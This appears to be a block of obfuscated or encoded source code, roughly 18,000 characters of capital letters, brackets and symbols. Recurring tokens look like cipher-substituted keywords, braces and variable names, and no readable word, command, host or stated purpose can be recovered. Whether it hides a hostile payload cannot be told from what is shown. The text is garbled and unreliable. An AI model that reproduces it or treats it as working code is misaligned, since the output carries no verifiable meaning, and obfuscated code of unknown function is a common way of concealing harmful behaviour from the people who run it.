MLXDFHODDKY 		UU				iKKAEPBMEYMGE MLXDFHODDKY  		[L]\[G#					N[QOPCHHG_C					iSPDBZLLFM] MLXDFHODDKY ####		@O			@^v_XSYHPXKSN N[QOPCHHG_C 						N[QOPCHHG_C						iSPDBZLLFM] N[QOPCHHG_C  	MLXDFHODDKY							N[QOPCHHG_C#						@O		i@^v_XSYHPXKSN MLXDFHODDKY 			QQMHH  				[L]\[G#			@DZNOYA					i@N[KMFGKOJZ MLXDFHODDKY #			@O		@^v_XSYHPXKSN @DZNOYA 		UU			@DZNOYA			 	[L]\[G#				[SPPZCBOS@J			@^v_XSYHPXKSN @DZNOYA	KKAEPBMEYMGE  					OHEZL	UU			@^v_XSYHPXKSN @DZNOYA	SPDBZLLFM]  			OHEZL #CvLKBSQ__N^X		OHEZL#	@O	SPDBZLLFM] @DZNOYA	@^v_XSYHPXKSN  				OHEZL 	R#	Z][LHD@GN	H[K@][H]F[	##@O				LDY]Pnefkhezr@N[KMFGKOJZ t  			R#		CvLKBSQ__N^X				][\L#							T	LEZL			R###	A\DNDE]J^AD			KKAEPBMEYMGE @N[KMFGKOJZ  					SPDBZLLFM]  										@^v_XSYHPXKSN ####		@O			i@^v_XSYHPXKSN A\DNDE]J^AD 		UU		iKKAEPBMEYMGE A\DNDE]J^AD  		CvLKBSQ__N^X							][\L##	T#	T####AJA\YP@BAvv								OHEZL##H[AOJGJB						OHEZL#				@O			@N[KMFGKOJZ @N[KMFGKOJZ 	@DZNOYA 				MLO@GLM@^v_XSYHPXKSN   	R#						vHJ							~yvjfg}lg}vm`{							@^v_XSYHPXKSN ####					@O				i@^v_XSYHPXKSN vHJ  				R#					F\DSE@Fv				Z][@GN 			i@^v_XSYHPXKSN vHJ		OHEZL				G\EE							QHKHQ  ###		@O		@^v_XSYHPXKSN F\DSE@Fv			KKAEPBMEYMGE  						OHEZL 		AJA\YP@BAvv					][\L#			T#		T		LEZL@O	#		@N[KMFGKOJZ @DZNOYA					KKAEPBMEYMGE  							OHEZL#	@N[KMFGKOJZ @^v_XSYHPXKSN 					@DZNOYA ## 	R##		H[AOJGJB					][\L#						T#			O\BDP\^F								OHEZL#			@O			G^JO_P\K  		RSAX@KPAGACX@LB[FG[SSAX@KPAG####			@O		#							SPDBZLLFM] KKAEPBMEYMGE 				@DZNOYA #UU					@N[KMFGKOJZ @N[KMFGKOJZ 	@DZNOYA #	UU	KKAEPBMEYMGE SPDBZLLFM] 				@DZNOYA #	 		O\BDP\^F						][\L#	T#	@O	[SPPZCBOS@J					CvLKBSQ__N^X				AJA\YP@BAvv				O\BDP\^F									H[AOJGJB 	[L]\[G####		H[DOSXZ@A				#				DCD[LZ@BKN\_				@DZNOYA#	@O	[SPPZCBOS@J 			R#			@O			SPDBZLLFM] @^v_XSYHPXKSN 			@DZNOYA		YMYPK@KASFGB  		H[DOSXZ@A					@N[KMFGKOJZ uG	YMYPK@KASFGBrt #				DCD[LZ@BKN\_			@^v_XSYHPXKSN KKAEPBMEYMGE 						@DZNOYA ###			@O		KKAEPBMEYMGE DCD[LZ@BKN\_  			[L]\[G#			@O		SPDBZLLFM] KKAEPBMEYMGE 						DCD[LZ@BKN\_			EP]BSZKD_Q  					H[DOSXZ@A				uG			SPDBZLLFM] uG		EP]BSZKD_Qrt #DCD[LZ@BKN\_				KKAEPBMEYMGE SPDBZLLFM] 					DCD[LZ@BKN\_ #	@O		KKAEPBMEYMGE DCD[LZ@BKN\_  			[L]\[G#T#				@O				CvLKBSQ__N^X					@N[KMFGKOJZ KKAEPBMEYMGE 			DCD[LZ@BKN\_  	R#	DCD[LZ@BKN\_						@N[KMFGKOJZ @^v_XSYHPXKSN 		KKAEPBMEYMGE 									MLO@GL	~yv}ldyvm`{		MLO@GLM	~yvjfg}lg}vm`{	 		~yvjfg}lg}vm`{		hkzyh}a		^YJFG]LG]	 		ZJv]DY	 uG	DCD[LZ@BKN\_	 #						@O	@N[KMFGKOJZ DCD[LZ@BKN\_  	[L]\[G##					T###				@O				AJA\YP@BAvv						SPDBZLLFM] @N[KMFGKOJZ 	DCD[LZ@BKN\_  		R#	DCD[LZ@BKN\_				@N[KMFGKOJZ @^v_XSYHPXKSN 		@^v_XSYHPXKSN 			MLO@GL	~yvjhjal	][\L	 		zjv~j	uG	DCD[LZ@BKN\_			 #		@O			SPDBZLLFM] DCD[LZ@BKN\_  	[L]\[G#					T	LEZL@O			H[AOJGJB 				R#	DCD[LZ@BKN\_						SPDBZLLFM] @^v_XSYHPXKSN 	KKAEPBMEYMGE 		MLO@GL	~yvjhjal	][\L	 		zjv~j	uG		DCD[LZ@BKN\_					 #			@O			@N[KMFGKOJZ DCD[LZ@BKN\_  						[L]\[G#	T##						@O		O\BDP\^F 				R#						DCD[LZ@BKN\_							@N[KMFGKOJZ @N[KMFGKOJZ 							DCD[LZ@BKN\_ #			@O	KKAEPBMEYMGE DCD[LZ@BKN\_  			[L]\[G#@O				@^v_XSYHPXKSN @N[KMFGKOJZ 			DCD[LZ@BKN\_  				R#						DCD[LZ@BKN\_		SPDBZLLFM] SPDBZLLFM] 	SPDBZLLFM] 					MLO@GL	~yvmlk|n	][\L	 uGMLO@GL	~yvmlk|nvefn	][\L	 uGMLO@GL	~yvmlk|nvm`zyehp	OHEZL	 uG	DCD[LZ@BKN\_				 ##						@O			@N[KMFGKOJZ DCD[LZ@BKN\_  		[L]\[G###T#		T#						@O						DCD[LZ@BKN\_				@DZNOYA 		[L]\[G#		@O				_SMG[M@XJvKJSK\DCD[LZ@BKN\_  					[L]\[G#		@O		AJA\YP@BAvv							GJvF\F]HHS@MLXDFHODDKY				@DZNOYA  	R###				FBQKvM[JB\ZMHPE\SPDBZLLFM] 			@^v_XSYHPXKSN  #	DCD[LZ@BKN\_				@^v_XSYHPXKSN @^v_XSYHPXKSN 		SPDBZLLFM] 				DCD[LZ@BKN\_				 #			@O			KKAEPBMEYMGE DCD[LZ@BKN\_ 			UU					DCD[LZ@BKN\_		@DZNOYA 						[L]\[G#						@O				_SMG[M@XJvKJSK\DCD[LZ@BKN\_  			[L]\[G#	T###					vMDHQOQHZ[KK			iO@ELYL[DZMLXDFHODDKY #						vMDHQOQHZ[KK							vMDHQOQHZ[KK				OHEZL 			QHQH 								vMDHQOQHZ[KK							  #	ZNPCJXZF			iKKAEPBMEYMGE MLXDFHODDKY #			E^^FYvAH[			i@N[KMFGKOJZ @^v_XSYHPXKSN MLXDFHODDKY 					KKAEPBMEYMGE  #						@O			E^^FYvAH[					OHEZL 					[L]\[G#			@O					iKKAEPBMEYMGE E^^FYvAH[				DCD[LZ@BKN\_ 							@^v_XSYHPXKSN DCD[LZ@BKN\_  	R#iKKAEPBMEYMGE E^^FYvAH[ #				[L]\[G#T#		iKKAEPBMEYMGE E^^FYvAH[		vMDHQOQHZ[KK #	@O	i@^v_XSYHPXKSN E^^FYvAH[		MLXDFHODDKY  				R#	O@G@]L	ZJALM\EL[	###					iKKAEPBMEYMGE E^^FYvAH[ #[L]\[G#	T#		@O					ZNPCJXZF 	i@N[KMFGKOJZ MLXDFHODDKY		ZNPCJXZF #		@O	@N[KMFGKOJZ KKAEPBMEYMGE   				iFYJHJALv@G_HE@MH]LMLXDFHODDKY				][\L #				@O			SPDBZLLFM] @N[KMFGKOJZ 				H[DOSXZ@A	ZCZAMK_\D[_  				R#			OF[LHJA		@N[KMFGKOJZ ZCZAMK_\D[_rt 				HZ		\[X@S@BQO 			R#	@O		@^v_XSYHPXKSN \[X@S@BQO				@N[KMFGKOJZ  												i@^v_XSYHPXKSN \[X@S@BQO  	iSPDBZLLFM] \[X@S@BQO #	T#			T#@O			@^v_XSYHPXKSN KKAEPBMEYMGE  							@^v_XSYHPXKSN @^v_XSYHPXKSN 			H[DOSXZ@A			APGP@@KA@  	R#			OF[LHJA			@^v_XSYHPXKSN APGP@@KA@rt 		HZ	YDA@Y[XG 		R#@O					@N[KMFGKOJZ @^v_XSYHPXKSN 		YDA@Y[XG  		iMLEL]LvFY]@FGYDA@Y[XG ###	T#					T#			T#					O\GJ]@FG		DXJQE[FY[\ #			R####					@O	MLO@GLMSPDBZLLFM]   		[L]\[G####		DHMCQKF^										MLO@GLM@N[KMFGKOJZ  						~yd|vye|n`gvm`{								~yvjfg}lg}vm`{					SPDBZLLFM] #^[]v^]BCNPAOBP							H[[HP #								@O		KKAEPBMEYMGE @N[KMFGKOJZ   	R#					@O		i@^v_XSYHPXKSN DHMCQKF^  		OF[LHJA			H[[HP 	iKKAEPBMEYMGE DHMCQKF^							SPDBZLLFM]  		HZ				_[A^HKNJZ 						^[]v^]BCNPAOBPrt		_[A^HKNJZ#			@O	MLO@GLM@^v_XSYHPXKSN  		iSPDBZLLFM] ~yvye|n`gvm`{  			OF[LHJA				H[[HP 				i@N[KMFGKOJZ ~yvye|n`gvm`{		@^v_XSYHPXKSN  			HZ				_[A^HKNJZ 	^[]v^]BCNPAOBPrt						_[A^HKNJZ#		T#						YQHMCZPXHGFN						MLO@GLM@^v_XSYHPXKSN  				hkzyh}a						#			BFK\BKX							~yvjfg}lg}vm`{					@^v_XSYHPXKSN 					SPDBZLLFM] @N[KMFGKOJZ YQHMCZPXHGFN					@^v_XSYHPXKSN  						  			@^v_XSYHPXKSN 						SPDBZLLFM] KKAEPBMEYMGE YQHMCZPXHGFN				@N[KMFGKOJZ  		w  			KKAEPBMEYMGE ###@O	i@N[KMFGKOJZ BFK\BKX  	^[]v^]BCNPAOBPrt			BFK\BKX#	OF[LHJA				^[]v^]BCNPAOBP		HZ	_[A^HKNJZ 	R#ZNPCJXZF		iKKAEPBMEYMGE _[A^HKNJZ ####	@O		ZNPCJXZF	UU	ZNPCJXZF						  					  			R####				HQX@SO[AK						i@^v_XSYHPXKSN _[A^HKNJZ #@O				HQX@SO[AK		UU			HQX@SO[AK				 		UU			HQX@SO[AK									  				JFG]@G\L#		T#	~y	jF_L[	kEFJB	YEHJLAFEML[	KE\[##N[QOPCHHG_C				iKKAEPBMEYMGE _[A^HKNJZ #	~y	dLM@H	}LQ]	kEFJB	\GMLJ@MHKEL	JFG][H_H[@HG]##	SCLOCSZK_LE@				iKKAEPBMEYMGE [ZKLSD_  #							@O		KKAEPBMEYMGE N[QOPCHHG_C 						KKAEPBMEYMGE SCLOCSZK_LE@ 			N[QOPCHHG_C						SCLOCSZK_LE@ 	JFG]@G\L#	_JQ]ZSF								i@^v_XSYHPXKSN _[A^HKNJZ			OHEZL					G\EE					  #			@O			@N[KMFGKOJZ _JQ]ZSF 			UU			@N[KMFGKOJZ _JQ]ZSF		@^v_XSYHPXKSN  					OHEZL 	JFG]@G\LBPZX\KN\NAOCLFEEBPZX\KN\N####			@O	KKAEPBMEYMGE KKAEPBMEYMGE 					_JQ]ZSF	DPSXY]Q^J]Q  		JFG]@G\L###	@O	_L[Z@FGvJFDYH[LDPSXY]Q^J]Qrt		^NKBHS]S^NFHGH^O] 					  				JFG]@G\L###			BCZXBCGBEQXY							\ZNQXBNHJLN[YPCN@NE_[A^HKNJZ #@O	BCZXBCGBEQXY				OHEZL 			R####	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		KKAEPBMEYMGE 						SPDBZLLFM] _[A^HKNJZ  #							JFG]@G\L#	T#	LGHKEL	ZBFELD	OF[	~y	L[ZL	kEFJB####			@O			BCZXBCGBEQXY		][\L 	R####		@O		A[E_SCK^\vBY_[A^HKNJZ				_[A^HKNJZ				@^v_XSYHPXKSN   		R#@O				@N[KMFGKOJZ @^v_XSYHPXKSN   				iFYJHJALv@G_HE@MH]L_[A^HKNJZ	][\L ##				T#	iSPDBZLLFM] @^v_XSYHPXKSN _[A^HKNJZ 						KKAEPBMEYMGE 						KKAEPBMEYMGE _[A^HKNJZ	KKAEPBMEYMGE   ##JFG]@G\L#	T#					i@^v_XSYHPXKSN _[A^HKNJZ #	iKKAEPBMEYMGE @N[KMFGKOJZ _[A^HKNJZ 					KKAEPBMEYMGE 			KKAEPBMEYMGE _[A^HKNJZ				SPDBZLLFM]   #		@O		KKAEPBMEYMGE KKAEPBMEYMGE   	iFYJHJALv@G_HE@MH]L_[A^HKNJZ		][\L #T###						SJQHNAP_F@EL #				PGH[CGY_						~yvjfg}lg}vm`{							@^v_XSYHPXKSN #	###	@O		i@N[KMFGKOJZ PGH[CGY_ 						@^v_XSYHPXKSN @N[KMFGKOJZ   			R####				OF[LHJA	H[[HP 		iKKAEPBMEYMGE PGH[CGY_						KKAEPBMEYMGE  						HZ	_DPPDMH_ 			R#		@O		i@^v_XSYHPXKSN _DPPDMH_ 	UU		iSPDBZLLFM] _DPPDMH_  	JFG]@G\L#	]JY]]OvF\K]]NA							i@^v_XSYHPXKSN _DPPDMH_ #	@O				]JY]]OvF\K]]NA			UU		]JY]]OvF\K]]NA			QMHQLM  				JFG]@G\L#		JXS@GCB_LC			iKKAEPBMEYMGE _DPPDMH_ #@O					@^v_XSYHPXKSN JXS@GCB_LC  				JFG]@G\L#				@O		@N[KMFGKOJZ JXS@GCB_LC	KKAEPBMEYMGE  		OHEZL				@N[KMFGKOJZ JXS@GCB_LC				KKAEPBMEYMGE  						OHEZL					@N[KMFGKOJZ JXS@GCB_LC	@N[KMFGKOJZ  									OHEZL 	JFG]@G\L#@O	SK\\QEEJXS@GCB_LC  		JFG]@G\L###NvFFG]H_SOK		_vCY[CYPXM@JXS@GCB_LC #	@O			KKAEPBMEYMGE NvFFG]H_SOK 						NvFFG]H_SOK				JXS@GCB_LC 			R#		ZKXOKS\JGG_ZQC@QY_DPPDMH_	NvFFG]H_SOK ####@O	@^v_XSYHPXKSN @^v_XSYHPXKSN   					iFYJHJALv@G_HE@MH]L_DPPDMH_		][\L #			T#	T#						T#				YEvGGGZ^GDSZ\]~yvjfg}lg}vm`{				KKAEPBMEYMGE  #	YEvGGGZ^GDSZ\]~yvjfg}lg}vm`{						KKAEPBMEYMGE  ##		@O					@^v_XSYHPXKSN @^v_XSYHPXKSN  									KKAEPBMEYMGE KKAEPBMEYMGE  						SPDBZLLFM] KKAEPBMEYMGE   	RBYGN_KGFF^AZFOEH]BYGN_KGF#	vFG			FZLYYKLLEQ[\Ahkzyh}a			KKAEPBMEYMGE 	  #	_XLMBHZH					iNL]vFY]@FGvFG			 #			@O			KKAEPBMEYMGE _XLMBHZH 				_XLMBHZH										 			R##	G_L^XADHCSO					SPDBZLLFM] _XLMBHZH	][\L #@O	@N[KMFGKOJZ G_L^XADHCSO 							NB^OAPLQ@HLZG_L^XADHCSO  		iMLEL]LvFY]@FGvFG #		T#		_J@OvB[C@FE					@N[KMFGKOJZ @^v_XSYHPXKSN  							AK@\_C^N^\[SGBvvQSPDBZLLFM] 	 		#		@O	@^v_XSYHPXKSN _J@OvB[C@FE 			_J@OvB[C@FE						@N[KMFGKOJZ _J@OvB[C@FE 				 			UU		@N[KMFGKOJZ @N[KMFGKOJZ  			K[N[JPDKAX]LS_J@OvB[C@FE  		UU				^K[DE^CJM[X_Q_J@OvB[C@FE   					R###@O	SPDBZLLFM] @^v_XSYHPXKSN   					CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 			@^v_XSYHPXKSN  #T#T#T#						O\GJ]@FG		EBO_KJ@NXJJJZ #	RvDPvPNZL]S\yayvdhcf{vl{z`fg\vHLZvJ^PSBvDPvPNZL]S\##		][P	R#		@O				MLO@GLM@N[KMFGKOJZ   				[L]\[G#					@O		LDY]PnefkhezrKKAEPBMEYMGE t  	R###			nefkhezrKKAEPBMEYMGE t											#FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN  #	T#	~y	kEFJB	}[HGZOF[DZ	LQYFGLG]@HE	[@GNK\OOL[####		@O					LDY]Pnefkhezr@N[KMFGKOJZ t  	[L]\[G#	nefkhezr@N[KMFGKOJZ t					][\L#			@O				@ZZL]vnl}r@^v_XSYHPXKSN t 			@N[KMFGKOJZ SPDBZLLFM]  							@^v_XSYHPXKSN SPDBZLLFM]   			R##						Av\ONQKZ					iNL]vFY]@FG@N[KMFGKOJZ 		H[[HP  #						KEvG_		OHEZL#		@O		@N[KMFGKOJZ Av\ONQKZ  					R\ZHHDZJO^EJO][EHDKF]\ZHHDZJO^#@O				LDY]PAv\ONQKZr]t 			KKAEPBMEYMGE  					@G] 			Av\ONQKZr@^v_XSYHPXKSN t				  	KEvG_			][\L#				##	@O				KEvG_			LDY]PAv\ONQKZrKKAEPBMEYMGE t 				@^v_XSYHPXKSN Av\ONQKZrSPDBZLLFM] t  			R#OF[LHJA			Av\ONQKZrSPDBZLLFM] t				HZ			vJ@ 		R##	@O			@N[KMFGKOJZ vJ@ 			@N[KMFGKOJZ  				@G] 		vJ@r@N[KMFGKOJZ t								  	R#	KEvG_				][\L#	K[LHB#	T#T#			T#	T#				@O				KEvG_ 	@N[KMFGKOJZ @N[KMFGKOJZ  #T#		@O		SDLMOCK_]JSDN^[ZKLSD_   	[L]\[G#	DXJQE[FY[\ #				F^ZNDHAG^B[ZKLSD_ 	^NKBHS]S^NFHGH^O]  #			@O	HNA_P@GZGMN  					R####				KJ]XFvSQvXN@BvPED #	ZMGQBB[BS[[XJNvZ #			[L]\[G#	]A[LHMZHOL	OHJ]F[P###T#			_ONSMO							\PMXQZ\DMJ_]\OH #			[_JPKSDYF^^					H[[HP##			[ZKLSD_ #			_ONSMO								KKAEPBMEYMGE # #	D[^OAKFX					O^DCFJECC_ #		OF[LHJA		D[^OAKFX			HZ				C@^O[]MGJ@P\] 	R##@O					i@N[KMFGKOJZ C@^O[]MGJ@P\]  			[_JPKSDYF^^rt									C@^O[]MGJ@P\]##	T#		FK@Y_[^		H[[HP #						@O		EMD^HNCXOK^Q  					R#				_^@vLKEP_E				FZLYYKLLEQ[\Ahkzyh}a					@N[KMFGKOJZ 					  			@^v_XSYHPXKSN DP]BPOBNNQMQL vZPDSBLvEDP]BPOBNN#FK@Y_[^r@N[KMFGKOJZ 					hkzyh}a				KKAEPBMEYMGE t						_^@vLKEP_E#		FK@Y_[^r@^v_XSYHPXKSN 				_ONSMO				@N[KMFGKOJZ t				_^@vLKEP_E#					T#		[_FFZv[vAFX\				@N[KMFGKOJZ @^v_XSYHPXKSN  		i@N[KMFGKOJZ @N[KMFGKOJZ  							OHEZL##		@O						@^v_XSYHPXKSN [_FFZv[vAFX\ 					[_FFZv[vAFX\						 				R#		P[SXYMEK		@G] 	NL]vFY]@FGSPDBZLLFM] 		 #@O	P[SXYMEK	UU			@N[KMFGKOJZ  						P[SXYMEK							  		R###FFL@DPBS						FZLYYKLLEQ[\Ahkzyh}a				KKAEPBMEYMGE 		  				SPDBZLLFM] #FK@Y_[^r@N[KMFGKOJZ 				@N[KMFGKOJZ hkzyh}a	@N[KMFGKOJZ  									[_FFZv[vAFX\t			FFL@DPBS#FK@Y_[^rSPDBZLLFM] 				_ONSMO									[_FFZv[vAFX\t							FFL@DPBS#							T#	T##vZO]HHFE						E@^NYDZ^vLY #			@O		iSPDBZLLFM] vZO]HHFErt  	FK@Y_[^r@N[KMFGKOJZ 					vZO]HHFErtt					@^v_XSYHPXKSN 					vZO]HHFErt#								vBAX[^\H_							iNL]vFY]@FGSPDBZLLFM] 			H[[HP  #		@O						@N[KMFGKOJZ vBAX[^\H_  	vBAX[^\H_							H[[HP #		[[A\LMEHA[^MK		OHEZL#	OF[LHJA					[_JPKSDYF^^	HZ		GEQBCJL 	RKLADK[@O^@DKX@Z@SL@P_KLADK[@O^@#		PHB_BE@MK[]P					i@^v_XSYHPXKSN GEQBCJL #					MvBvLN\							PHB_BE@MK[]P							PHB_BE@MK[]PrKKAEPBMEYMGE t						U			PHB_BE@MK[]PrSPDBZLLFM] t 							#		EYA@PQ\CFYYY					@ZZL]vBAX[^\H_rGEQBCJLt 			vBAX[^\H_rGEQBCJLt			#	@O			MvBvLN\					EYA@PQ\CFYYY 	JFG]@G\L#@O	@^v_XSYHPXKSN @N[KMFGKOJZ 			EYA@PQ\CFYYY			@JNBXDB@LXA 						@^v_XSYHPXKSN EYA@PQ\CFYYY			SPDBZLLFM] @JNBXDB@LXArt  						MvBvLN\							KKAEPBMEYMGE  				@G] 	@JNBXDB@LXArt							  				JFG]@G\L####					[[A\LMEHA[^MK					][\L#	K[LHB###			T##@O		[[A\LMEHA[^MK 			R####	OF[LHJA	FK@Y_[^			HZ			BLP						PM\_JEGBKX 		R###			MvBvLN\				KAH\PHY_FYG[SPDBZLLFM] BLP				w  		PM\_JEGBKX #	EYA@PQ\CFYYY								@ZZL]vBAX[^\H_rBLPt 				vBAX[^\H_rBLPt				#		@O			MvBvLN\					EYA@PQ\CFYYY 				JFG]@G\L#			@O			KKAEPBMEYMGE @N[KMFGKOJZ 	EYA@PQ\CFYYY	@JNBXDB@LXA 						KKAEPBMEYMGE EYA@PQ\CFYYY					@N[KMFGKOJZ @JNBXDB@LXArt  					MvBvLN\			@N[KMFGKOJZ  					@G] 			@JNBXDB@LXArt							  		JFG]@G\L#		[[A\LMEHA[^MK			][\L#					K[LHB####					T#				T#	@G[JMC_vOC							KKAEPBMEYMGE [ZKLSD_ 		@N[KMFGKOJZ  ##XOXYYJLA^G			_ONSMO						SPDBZLLFM] 			@G[JMC_vOC								@G[JMC_vOC							@N[KMFGKOJZ #							CvSBSX^OH										^S_KJLMFEvE #			@O		i@N[KMFGKOJZ XOXYYJLA^G 		UU					@G] 		i@^v_XSYHPXKSN XOXYYJLA^G 								  		[[A\LMEHA[^MK			][\L#		@O		CvSBSX^OH									iKKAEPBMEYMGE CvSBSX^OH  			[[A\LMEHA[^MK						][\L#				@O					[[A\LMEHA[^MK		KKAEPBMEYMGE KKAEPBMEYMGE   			R#	iP@LEM	\G@O@JH]@FG##		KQ]KS			@G[JMC_vOC					@G[JMC_vOC									KKAEPBMEYMGE ####						@PS[NGZMCD					NL]vFY]@FGSPDBZLLFM] 	H[[HP  #								@O		@N[KMFGKOJZ @PS[NGZMCD 	UU	@N[KMFGKOJZ KQ]KS		@PS[NGZMCD			][\L  		[[A\LMEHA[^MK							][\L####					T#							@O	[[A\LMEHA[^MK 				[L]\[G#			##@O				JD@CQMEODG^@N[KMFGKOJZ   		[L]\[G#						][P	R#							K@^Y[NAC\OK]^G ###	NJAKENZPDH_SD_AN ADZGACMQyayvdhcf{vl{z`fgSF[@_v[\HJQADZGACMQ##	ZMGQBB[BS[[XJNvZ #							MOQFEPFCENML_K@Z #	GLZJ]Gv_SP #							KJ]XFvSQvXN@BvPED ##						JJNHBSQDY@EDYHE\ #	K@@CCXBOBDGFJY HZYHYGD\PKD@vM_[]QHHZYHYGD\P#			OKCHF@							BHQQYMOF@LP]XXH #			FB@ZBEJAJE@APQP			MKvZXSQHXQ #					DvXvSAMJJC					H[[HP ##				OF[LHJA					[_JPKSDYF^^				HZ		GEQBCJL 			R#BZHSPFZB]EL						GEQBCJL						_ONSMO						KKAEPBMEYMGE 							OKCHF@ 		UU	SPDBZLLFM] GEQBCJL	  							KKAEPBMEYMGE 							FB@ZBEJAJE@APQP #				PHB_BE@MK[]P			i@N[KMFGKOJZ GEQBCJL ####	@O				PHB_BE@MK[]P 		R#	GLNH]@_LMLO@G@]L	CF\[GHE	##					DvXvSAMJJCrGEQBCJLt							PHB_BE@MK[]PrSPDBZLLFM] t						U			PHB_BE@MK[]Pr@N[KMFGKOJZ t		BZHSPFZB]EL			SPDBZLLFM] 									SPDBZLLFM]  				 #T#T#	OF[LHJA	FK@Y_[^			HZ			BLP							PM\_JEGBKX 	R#	B_AK^@DQ@Z			KAH\PHY_FYG[@^v_XSYHPXKSN BLP		QQ  	PM\_JEGBKX #		@O		B_AK^@DQ@Z												UU			@N[KMFGKOJZ B_AK^@DQ@Z					 					KKAEPBMEYMGE  		B_AK^@DQ@Z				@N[KMFGKOJZ 				@N[KMFGKOJZ  #DvXvSAMJJCrBLPt					B_AK^@DQ@Z#	T#			i\YMH]LvFY]@FGKKAEPBMEYMGE 	DvXvSAMJJC					@^v_XSYHPXKSN  ##								T	O@GHEEP	R#			NZADHFK@PJ[SPDBZLLFM]  ####						T#	T	JH]JA			}A[F^HKEL				E]GYK]v 		R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #			T	JH]JA					lQJLY]@FG	E]GYK]v 						R#		T####	T###	O\GJ]@FG				KAH\PHY_FYG[GEQBCJL				PM\_JEGBKX #	R##PHB_BE@MK[]P					i@N[KMFGKOJZ GEQBCJL #			@O			PHB_BE@MK[]P 		[L]\[G				#MvBvLN\			PHB_BE@MK[]PrSPDBZLLFM] t						U							PHB_BE@MK[]PrKKAEPBMEYMGE t##					@O	PHB_BE@MK[]Pr@N[KMFGKOJZ t			  			[L]\[G						KKAEPBMEYMGE 							MvBvLN\##	@DZNOYA				iKKAEPBMEYMGE GEQBCJL ##		[L]\[G		MvBvLN\								U								@^v_XSYHPXKSN @DZNOYA 				KKAEPBMEYMGE @DZNOYA	PM\_JEGBKX 			OHEZL 											 #T###				O\GJ]@FG		[QPQ__ZDE_XBDvSK #	R#						vY_				KKAEPBMEYMGE @^v_XSYHPXKSN  			NL]vFY]@FG@N[KMFGKOJZ 					 				#							GFvJZJNvAABEFF\N #		v@JLXM]QG@@\					@^v_XSYHPXKSN KKAEPBMEYMGE  				NL]vFY]@FG@^v_XSYHPXKSN 			 					##		@O	v@JLXM]QG@@\								vY_ 		iMLEL]LvFY]@FG@^v_XSYHPXKSN  ##T###	O\GJ]@FG			GFvJZJNvAABEFF\N #			RADS_AL@UO[F@FGPHXADS_AL@w####][P			R#							@O						MLO@GLM@^v_XSYHPXKSN   					[L]\[G#		_ONSMO					\PMXQZ\DMJ_]\OH ]]FGyayv`g}vdhqyayv`g}vdhqNXLN]]FG#			LCB\LSHJLG[O				^D]]OFPX_KGKN@ #	XONOYOA[[									FZLYYKLLEQ[\Ahkzyh}a		@N[KMFGKOJZ 					  					@N[KMFGKOJZ #				E@J_vM@Y						FZLYYKLLEQ[\Ahkzyh}a							@N[KMFGKOJZ 		  				KKAEPBMEYMGE #KLKN_OLM						FZLYYKLLEQ[\Ahkzyh}a								@^v_XSYHPXKSN 			  						@N[KMFGKOJZ #			CHXXYBHD								FZLYYKLLEQ[\Ahkzyh}a				SPDBZLLFM] 				QQ  			SPDBZLLFM] #					XB\F]NKDABQKY			FZLYYKLLEQ[\Ahkzyh}a					KKAEPBMEYMGE 		QQ  		SPDBZLLFM] #			QPGCZJF^Z						KKAEPBMEYMGE 							FZLYYKLLEQ[\Ahkzyh}a						N		  #			_MOvZG@]N						H[[HP#_ONSMO				@N[KMFGKOJZ 				@^v_XSYHPXKSN #_ONSMO			@N[KMFGKOJZ 									SPDBZLLFM] #	 #	OF[LHJA			_MOvZG@]N		HZ		GEQBCJL				Y[LO@Q 		R#			@O	iSPDBZLLFM] GEQBCJL  			JFG]@G\L#@DZNOYA						iKKAEPBMEYMGE GEQBCJL ####				@O	@DZNOYA					OHEZL 		JFG]@G\L###	E[S\H[H]ALQ			KKAEPBMEYMGE 								Y[LO@Q								@N[KMFGKOJZ 					Y[LO@Q						@^v_XSYHPXKSN #				DKBSKvSvKG						SPDBZLLFM] E[S\H[H]ALQ			@DZNOYA #			@O				DKBSKvSvKG			@DZNOYA 	ZKXOKS\JGG_ZQC@QYGEQBCJL	DKBSKvSvKG ####						T#	ZACSM]Z						_ONSMO				@N[KMFGKOJZ #			@O		i@^v_XSYHPXKSN ZACSM]Z  		R#		GLMNNPHH					i@^v_XSYHPXKSN ZACSM]Z #				@O	KKAEPBMEYMGE GLMNNPHH 					GLMNNPHH							 					R###	@O						KKAEPBMEYMGE KKAEPBMEYMGE 			SPDBZLLFM] GLMNNPHH			   					UU			SPDBZLLFM] GLMNNPHH				KKAEPBMEYMGE  		 			R#		XX]L[vEYC^\OZSZ_@JLZACSM]Z				  #	@PE[Z\[XJ_PLXGZACSM]Z #	T	LEZL	R#	ZL[@HE@SHKEL	][HGZOF[DL[##H\G^HKCJMJZJ		SPDBZLLFM] KKAEPBMEYMGE 				GLMNNPHH #							@O	KKAEPBMEYMGE H\G^HKCJMJZJ 							H\G^HKCJMJZJ				GLMNNPHH 			ZKXOKS\JGG_ZQC@QYZACSM]Z				H\G^HKCJMJZJ #	\GZL]H\G^HKCJMJZJ #				T#				T#\GZL]GLMNNPHH _PPL]QMUNK^Q_KXvC]_PPL]QMw#T#	YN@KKM					@^v_XSYHPXKSN [ZKLSD_  										KKAEPBMEYMGE KvYMLXSvDQQ HNKZYCJKvYMLXSvD#				]\CAHAFML@HB									MLO@GLM@^v_XSYHPXKSN  					~yvjfg}lg}vm`{				@^v_XSYHPXKSN 					YN@KKM#				QvL@DHL^QL				H[[HP#				_ONSMO													XONOYOA[[#					_ONSMO							E@J_vM@Y#_ONSMO									KLKN_OLM#LCB\LSHJLG[O										CHXXYBHD#	LCB\LSHJLG[O								XB\F]NKDABQKY##	LCB\LSHJLG[O												E@J_vM@Y#						LCB\LSHJLG[O									KLKN_OLM###	YN@KKM										CHXXYBHD#					YN@KKM											XB\F]NKDABQKY#				YN@KKM									E@J_vM@Y#							YN@KKM														KLKN_OLM#					]\CAHAFML@HB												CHXXYBHD###		]\CAHAFML@HB											XB\F]NKDABQKY#						]\CAHAFML@HB							E@J_vM@Y#	]\CAHAFML@HB					KLKN_OLM#		 #						]v[^OXAX]P				E@^NYDZ^vLY #		QvL@DHL^QLrt				]v[^OXAX]Prt#	QvL@DHL^QLrt								]v[^OXAX]Prt			@N[KMFGKOJZ #	\GZL]]v[^OXAX]P #				@O	@^v_XSYHPXKSN KKAEPBMEYMGE   	R#		OF[LHJA			H[[HP 			i@N[KMFGKOJZ _ONSMO				@N[KMFGKOJZ 							XONOYOA[[ 					HZ					APvD 			QvL@DHL^QLrt			APvD#	